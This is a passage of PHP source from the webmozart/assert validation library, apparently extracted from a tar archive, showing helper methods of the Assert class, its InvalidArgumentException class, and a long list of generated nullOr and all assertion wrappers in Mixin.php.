$arguments; foreach ($arguments[0] as $entry) { $args[0] = $entry; \call_user_func_array(array('static', $method), $args); } return; } throw new BadMethodCallException('No such method: '.$name); } /** * @param mixed $value * * @return string */ protected static function valueToString($value) { if (null === $value) { return 'null'; } if (true === $value) { return 'true'; } if (false === $value) { return 'false'; } if (\is_array($value)) { return 'array'; } if (\is_object($value)) { if (\method_exists($value, '__toString')) { return \get_class($value).': '.self::valueToString($value->__toString()); } if ($value instanceof DateTime || $value instanceof DateTimeImmutable) { return \get_class($value).': '.self::valueToString($value->format('c')); } return \get_class($value); } if (\is_resource($value)) { return 'resource'; } if (\is_string($value)) { return '"'.$value.'"'; } return (string) $value; } /** * @param mixed $value * * @return string */ protected static function typeToString($value) { return \is_object($value) ? \get_class($value) : \gettype($value); } protected static function strlen($value) { if (!\function_exists('mb_detect_encoding')) { return \strlen($value); } if (false === $encoding = \mb_detect_encoding($value)) { return \strlen($value); } return \mb_strlen($value, $encoding); } /** * @param string $message * * @throws InvalidArgumentException * * @psalm-pure this method is not supposed to perform side-effects */ protected static function reportInvalidArgument($message) { throw new InvalidArgumentException($message); } private function __construct() { } } res/readability/vendor/webmozart/assert/src/InvalidArgumentException.php000064400000000533147577714370022735 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Webmozart\Assert; class InvalidArgumentException extends \InvalidArgumentException { } res/readability/vendor/webmozart/assert/src/Mixin.php000064400000213331147577714370017053 0ustar00 $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allString($value, $message = '') { static::__callStatic('allString', array($value, $message)); } /** * @psalm-pure * @psalm-assert non-empty-string|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrStringNotEmpty($value, $message = '') { static::__callStatic('nullOrStringNotEmpty', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allStringNotEmpty($value, $message = '') { static::__callStatic('allStringNotEmpty', array($value, $message)); } /** * @psalm-pure * @psalm-assert int|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrInteger($value, $message = '') { static::__callStatic('nullOrInteger', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allInteger($value, $message = '') { static::__callStatic('allInteger', array($value, $message)); } /** * @psalm-pure * @psalm-assert numeric|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIntegerish($value, $message = '') { static::__callStatic('nullOrIntegerish', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIntegerish($value, $message = '') { static::__callStatic('allIntegerish', array($value, $message)); } /** * @psalm-pure * @psalm-assert positive-int|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrPositiveInteger($value, $message = '') { static::__callStatic('nullOrPositiveInteger', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allPositiveInteger($value, $message = '') { static::__callStatic('allPositiveInteger', array($value, $message)); } /** * @psalm-pure * @psalm-assert float|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrFloat($value, $message = '') { static::__callStatic('nullOrFloat', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allFloat($value, $message = '') { static::__callStatic('allFloat', array($value, $message)); } /** * @psalm-pure * @psalm-assert numeric|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrNumeric($value, $message = '') { static::__callStatic('nullOrNumeric', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNumeric($value, $message = '') { static::__callStatic('allNumeric', array($value, $message)); } /** * @psalm-pure * @psalm-assert positive-int|0|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrNatural($value, $message = '') { static::__callStatic('nullOrNatural', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNatural($value, $message = '') { static::__callStatic('allNatural', array($value, $message)); } /** * @psalm-pure * @psalm-assert bool|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrBoolean($value, $message = '') { static::__callStatic('nullOrBoolean', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allBoolean($value, $message = '') { static::__callStatic('allBoolean', array($value, $message)); } /** * @psalm-pure * @psalm-assert scalar|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrScalar($value, $message = '') { static::__callStatic('nullOrScalar', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allScalar($value, $message = '') { static::__callStatic('allScalar', array($value, $message)); } /** * @psalm-pure * @psalm-assert object|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrObject($value, $message = '') { static::__callStatic('nullOrObject', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allObject($value, $message = '') { static::__callStatic('allObject', array($value, $message)); } /** * @psalm-pure * @psalm-assert resource|null $value * * @param mixed $value * @param string|null $type type of resource this should be. @see https://www.php.net/manual/en/function.get-resource-type.php * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrResource($value, $type = null, $message = '') { static::__callStatic('nullOrResource', array($value, $type, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string|null $type type of resource this should be. @see https://www.php.net/manual/en/function.get-resource-type.php * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allResource($value, $type = null, $message = '') { static::__callStatic('allResource', array($value, $type, $message)); } /** * @psalm-pure * @psalm-assert callable|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsCallable($value, $message = '') { static::__callStatic('nullOrIsCallable', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsCallable($value, $message = '') { static::__callStatic('allIsCallable', array($value, $message)); } /** * @psalm-pure * @psalm-assert array|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsArray($value, $message = '') { static::__callStatic('nullOrIsArray', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsArray($value, $message = '') { static::__callStatic('allIsArray', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable|null $value * * @deprecated use "isIterable" or "isInstanceOf" instead * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsTraversable($value, $message = '') { static::__callStatic('nullOrIsTraversable', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @deprecated use "isIterable" or "isInstanceOf" instead * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsTraversable($value, $message = '') { static::__callStatic('allIsTraversable', array($value, $message)); } /** * @psalm-pure * @psalm-assert array|ArrayAccess|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsArrayAccessible($value, $message = '') { static::__callStatic('nullOrIsArrayAccessible', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsArrayAccessible($value, $message = '') { static::__callStatic('allIsArrayAccessible', array($value, $message)); } /** * @psalm-pure * @psalm-assert countable|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsCountable($value, $message = '') { static::__callStatic('nullOrIsCountable', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsCountable($value, $message = '') { static::__callStatic('allIsCountable', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsIterable($value, $message = '') { static::__callStatic('nullOrIsIterable', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsIterable($value, $message = '') { static::__callStatic('allIsIterable', array($value, $message)); } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $class * @psalm-assert ExpectedType|null $value * * @param mixed $value * @param string|object $class * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsInstanceOf($value, $class, $message = '') { static::__callStatic('nullOrIsInstanceOf', array($value, $class, $message)); } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $class * @psalm-assert iterable $value * * @param mixed $value * @param string|object $class * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsInstanceOf($value, $class, $message = '') { static::__callStatic('allIsInstanceOf', array($value, $class, $message)); } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $class * * @param mixed $value * @param string|object $class * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrNotInstanceOf($value, $class, $message = '') { static::__callStatic('nullOrNotInstanceOf', array($value, $class, $message)); } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $class * * @param mixed $value * @param string|object $class * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNotInstanceOf($value, $class, $message = '') { static::__callStatic('allNotInstanceOf', array($value, $class, $message)); } /** * @psalm-pure * @psalm-param array $classes * * @param mixed $value * @param array $classes * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsInstanceOfAny($value, $classes, $message = '') { static::__callStatic('nullOrIsInstanceOfAny', array($value, $classes, $message)); } /** * @psalm-pure * @psalm-param array $classes * * @param mixed $value * @param array $classes * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsInstanceOfAny($value, $classes, $message = '') { static::__callStatic('allIsInstanceOfAny', array($value, $classes, $message)); } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $class * @psalm-assert ExpectedType|class-string|null $value * * @param object|string|null $value * @param string $class * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsAOf($value, $class, $message = '') { static::__callStatic('nullOrIsAOf', array($value, $class, $message)); } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $class * @psalm-assert iterable> $value * * @param iterable $value * @param string $class * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsAOf($value, $class, $message = '') { static::__callStatic('allIsAOf', array($value, $class, $message)); } /** * @psalm-pure * @psalm-template UnexpectedType of object * @psalm-param class-string $class * * @param object|string|null $value * @param string $class * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsNotA($value, $class, $message = '') { static::__callStatic('nullOrIsNotA', array($value, $class, $message)); } /** * @psalm-pure * @psalm-template UnexpectedType of object * @psalm-param class-string $class * * @param iterable $value * @param string $class * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsNotA($value, $class, $message = '') { static::__callStatic('allIsNotA', array($value, $class, $message)); } /** * @psalm-pure * @psalm-param array $classes * * @param object|string|null $value * @param string[] $classes * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsAnyOf($value, $classes, $message = '') { static::__callStatic('nullOrIsAnyOf', array($value, $classes, $message)); } /** * @psalm-pure * @psalm-param array $classes * * @param iterable $value * @param string[] $classes * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsAnyOf($value, $classes, $message = '') { static::__callStatic('allIsAnyOf', array($value, $classes, $message)); } /** * @psalm-pure * @psalm-assert empty $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIsEmpty($value, $message = '') { static::__callStatic('nullOrIsEmpty', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIsEmpty($value, $message = '') { static::__callStatic('allIsEmpty', array($value, $message)); } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrNotEmpty($value, $message = '') { static::__callStatic('nullOrNotEmpty', array($value, $message)); } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNotEmpty($value, $message = '') { static::__callStatic('allNotEmpty', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNull($value, $message = '') { static::__callStatic('allNull', array($value, $message)); } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNotNull($value, $message = '') { static::__callStatic('allNotNull', array($value, $message)); } /** * @psalm-pure * @psalm-assert true|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrTrue($value, $message = '') { static::__callStatic('nullOrTrue', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allTrue($value, $message = '') { static::__callStatic('allTrue', array($value, $message)); } /** * @psalm-pure * @psalm-assert false|null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrFalse($value, $message = '') { static::__callStatic('nullOrFalse', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allFalse($value, $message = '') { static::__callStatic('allFalse', array($value, $message)); } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrNotFalse($value, $message = '') { static::__callStatic('nullOrNotFalse', array($value, $message)); } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNotFalse($value, $message = '') { static::__callStatic('allNotFalse', array($value, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIp($value, $message = '') { static::__callStatic('nullOrIp', array($value, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIp($value, $message = '') { static::__callStatic('allIp', array($value, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIpv4($value, $message = '') { static::__callStatic('nullOrIpv4', array($value, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIpv4($value, $message = '') { static::__callStatic('allIpv4', array($value, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrIpv6($value, $message = '') { static::__callStatic('nullOrIpv6', array($value, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allIpv6($value, $message = '') { static::__callStatic('allIpv6', array($value, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrEmail($value, $message = '') { static::__callStatic('nullOrEmail', array($value, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allEmail($value, $message = '') { static::__callStatic('allEmail', array($value, $message)); } /** * @param array|null $values * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrUniqueValues($values, $message = '') { static::__callStatic('nullOrUniqueValues', array($values, $message)); } /** * @param iterable $values * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allUniqueValues($values, $message = '') { static::__callStatic('allUniqueValues', array($values, $message)); } /** * @param mixed $value * @param mixed $expect * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrEq($value, $expect, $message = '') { static::__callStatic('nullOrEq', array($value, $expect, $message)); } /** * @param mixed $value * @param mixed $expect * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allEq($value, $expect, $message = '') { static::__callStatic('allEq', array($value, $expect, $message)); } /** * @param mixed $value * @param mixed $expect * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrNotEq($value, $expect, $message = '') { static::__callStatic('nullOrNotEq', array($value, $expect, $message)); } /** * @param mixed $value * @param mixed $expect * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNotEq($value, $expect, $message = '') { static::__callStatic('allNotEq', array($value, $expect, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $expect * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrSame($value, $expect, $message = '') { static::__callStatic('nullOrSame', array($value, $expect, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $expect * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allSame($value, $expect, $message = '') { static::__callStatic('allSame', array($value, $expect, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $expect * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrNotSame($value, $expect, $message = '') { static::__callStatic('nullOrNotSame', array($value, $expect, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $expect * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNotSame($value, $expect, $message = '') { static::__callStatic('allNotSame', array($value, $expect, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $limit * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrGreaterThan($value, $limit, $message = '') { static::__callStatic('nullOrGreaterThan', array($value, $limit, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $limit * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allGreaterThan($value, $limit, $message = '') { static::__callStatic('allGreaterThan', array($value, $limit, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $limit * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrGreaterThanEq($value, $limit, $message = '') { static::__callStatic('nullOrGreaterThanEq', array($value, $limit, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $limit * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allGreaterThanEq($value, $limit, $message = '') { static::__callStatic('allGreaterThanEq', array($value, $limit, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $limit * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrLessThan($value, $limit, $message = '') { static::__callStatic('nullOrLessThan', array($value, $limit, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $limit * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allLessThan($value, $limit, $message = '') { static::__callStatic('allLessThan', array($value, $limit, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $limit * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrLessThanEq($value, $limit, $message = '') { static::__callStatic('nullOrLessThanEq', array($value, $limit, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $limit * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allLessThanEq($value, $limit, $message = '') { static::__callStatic('allLessThanEq', array($value, $limit, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $min * @param mixed $max * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrRange($value, $min, $max, $message = '') { static::__callStatic('nullOrRange', array($value, $min, $max, $message)); } /** * @psalm-pure * * @param mixed $value * @param mixed $min * @param mixed $max * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allRange($value, $min, $max, $message = '') { static::__callStatic('allRange', array($value, $min, $max, $message)); } /** * @psalm-pure * * @param mixed $value * @param array $values * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrOneOf($value, $values, $message = '') { static::__callStatic('nullOrOneOf', array($value, $values, $message)); } /** * @psalm-pure * * @param mixed $value * @param array $values * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allOneOf($value, $values, $message = '') { static::__callStatic('allOneOf', array($value, $values, $message)); } /** * @psalm-pure * * @param mixed $value * @param array $values * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrInArray($value, $values, $message = '') { static::__callStatic('nullOrInArray', array($value, $values, $message)); } /** * @psalm-pure * * @param mixed $value * @param array $values * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allInArray($value, $values, $message = '') { static::__callStatic('allInArray', array($value, $values, $message)); } /** * @psalm-pure * * @param string|null $value * @param string $subString * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrContains($value, $subString, $message = '') { static::__callStatic('nullOrContains', array($value, $subString, $message)); } /** * @psalm-pure * * @param iterable $value * @param string $subString * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allContains($value, $subString, $message = '') { static::__callStatic('allContains', array($value, $subString, $message)); } /** * @psalm-pure * * @param string|null $value * @param string $subString * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrNotContains($value, $subString, $message = '') { static::__callStatic('nullOrNotContains', array($value, $subString, $message)); } /** * @psalm-pure * * @param iterable $value * @param string $subString * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNotContains($value, $subString, $message = '') { static::__callStatic('allNotContains', array($value, $subString, $message)); } /** * @psalm-pure * * @param string|null $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrNotWhitespaceOnly($value, $message = '') { static::__callStatic('nullOrNotWhitespaceOnly', array($value, $message)); } /** * @psalm-pure * * @param iterable $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNotWhitespaceOnly($value, $message = '') { static::__callStatic('allNotWhitespaceOnly', array($value, $message)); } /** * @psalm-pure * * @param string|null $value * @param string $prefix * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrStartsWith($value, $prefix, $message = '') { static::__callStatic('nullOrStartsWith', array($value, $prefix, $message)); } /** * @psalm-pure * * @param iterable $value * @param string $prefix * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allStartsWith($value, $prefix, $message = '') { static::__callStatic('allStartsWith', array($value, $prefix, $message)); } /** * @psalm-pure * * @param string|null $value * @param string $prefix * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrNotStartsWith($value, $prefix, $message = '') { static::__callStatic('nullOrNotStartsWith', array($value, $prefix, $message)); } /** * @psalm-pure * * @param iterable $value * @param string $prefix * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNotStartsWith($value, $prefix, $message = '') { static::__callStatic('allNotStartsWith', array($value, $prefix, $message)); } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrStartsWithLetter($value, $message = '') { static::__callStatic('nullOrStartsWithLetter', array($value, $message)); } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allStartsWithLetter($value, $message = '') { static::__callStatic('allStartsWithLetter', array($value, $message)); } /** * @psalm-pure * * @param string|null $value * @param string $suffix * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrEndsWith($value, $suffix, $message = '') { static::__callStatic('nullOrEndsWith', array($value, $suffix, $message)); } /** * @psalm-pure * * @param iterable $value * @param string $suffix * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allEndsWith($value, $suffix, $message = '') { static::__callStatic('allEndsWith', array($value, $suffix, $message)); } /** * @psalm-pure * * @param string|null $value * @param string $suffix * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrNotEndsWith($value, $suffix, $message = '') { static::__callStatic('nullOrNotEndsWith', array($value, $suffix, $message)); } /** * @psalm-pure * * @param iterable $value * @param string $suffix * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNotEndsWith($value, $suffix, $message = '') { static::__callStatic('allNotEndsWith', array($value, $suffix, $message)); } /** * @psalm-pure * * @param string|null $value * @param string $pattern * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrRegex($value, $pattern, $message = '') { static::__callStatic('nullOrRegex', array($value, $pattern, $message)); } /** * @psalm-pure * * @param iterable $value * @param string $pattern * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allRegex($value, $pattern, $message = '') { static::__callStatic('allRegex', array($value, $pattern, $message)); } /** * @psalm-pure * * @param string|null $value * @param string $pattern * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrNotRegex($value, $pattern, $message = '') { static::__callStatic('nullOrNotRegex', array($value, $pattern, $message)); } /** * @psalm-pure * * @param iterable $value * @param string $pattern * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allNotRegex($value, $pattern, $message = '') { static::__callStatic('allNotRegex', array($value, $pattern, $message)); } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrUnicodeLetters($value, $message = '') { static::__callStatic('nullOrUnicodeLetters', array($value, $message)); } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allUnicodeLetters($value, $message = '') { static::__callStatic('allUnicodeLetters', array($value, $message)); } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrAlpha($value, $message = '') { static::__callStatic('nullOrAlpha', array($value, $message)); } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allAlpha($value, $message = '') { static::__callStatic('allAlpha', array($value, $message)); } /** * @psalm-pure * * @param string|null $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrDigits($value, $message = '') { static::__callStatic('nullOrDigits', array($value, $message)); } /** * @psalm-pure * * @param iterable $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allDigits($value, $message = '') { static::__callStatic('allDigits', array($value, $message)); } /** * @psalm-pure * * @param string|null $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrAlnum($value, $message = '') { static::__callStatic('nullOrAlnum', array($value, $message)); } /** * @psalm-pure * * @param iterable $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allAlnum($value, $message = '') { static::__callStatic('allAlnum', array($value, $message)); } /** * @psalm-pure * @psalm-assert lowercase-string|null $value * * @param string|null $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrLower($value, $message = '') { static::__callStatic('nullOrLower', array($value, $message)); } /** * @psalm-pure * @psalm-assert iterable $value * * @param iterable $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allLower($value, $message = '') { static::__callStatic('allLower', array($value, $message)); } /** * @psalm-pure * * @param string|null $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrUpper($value, $message = '') { static::__callStatic('nullOrUpper', array($value, $message)); } /** * @psalm-pure * * @param iterable $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allUpper($value, $message = '') { static::__callStatic('allUpper', array($value, $message)); } /** * @psalm-pure * * @param string|null $value * @param int $length * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrLength($value, $length, $message = '') { static::__callStatic('nullOrLength', array($value, $length, $message)); } /** * @psalm-pure * * @param iterable $value * @param int $length * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allLength($value, $length, $message = '') { static::__callStatic('allLength', array($value, $length, $message)); } /** * @psalm-pure * * @param string|null $value * @param int|float $min * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrMinLength($value, $min, $message = '') { static::__callStatic('nullOrMinLength', array($value, $min, $message)); } /** * @psalm-pure * * @param iterable $value * @param int|float $min * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allMinLength($value, $min, $message = '') { static::__callStatic('allMinLength', array($value, $min, $message)); } /** * @psalm-pure * * @param string|null $value * @param int|float $max * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrMaxLength($value, $max, $message = '') { static::__callStatic('nullOrMaxLength', array($value, $max, $message)); } /** * @psalm-pure * * @param iterable $value * @param int|float $max * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allMaxLength($value, $max, $message = '') { static::__callStatic('allMaxLength', array($value, $max, $message)); } /** * @psalm-pure * * @param string|null $value * @param int|float $min * @param int|float $max * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrLengthBetween($value, $min, $max, $message = '') { static::__callStatic('nullOrLengthBetween', array($value, $min, $max, $message)); } /** * @psalm-pure * * @param iterable $value * @param int|float $min * @param int|float $max * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allLengthBetween($value, $min, $max, $message = '') { static::__callStatic('allLengthBetween', array($value, $min, $max, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrFileExists($value, $message = '') { static::__callStatic('nullOrFileExists', array($value, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allFileExists($value, $message = '') { static::__callStatic('allFileExists', array($value, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrFile($value, $message = '') { static::__callStatic('nullOrFile', array($value, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allFile($value, $message = '') { static::__callStatic('allFile', array($value, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function nullOrDirectory($value, $message = '') { static::__callStatic('nullOrDirectory', array($value, $message)); } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function allDirectory($value, $message = '') { static::__callStatic('allDirectory', array($value, $message)); } /** * @param string|null $value * @param string $message * * @throws InvalidArgumentException * * @return void */ public static function 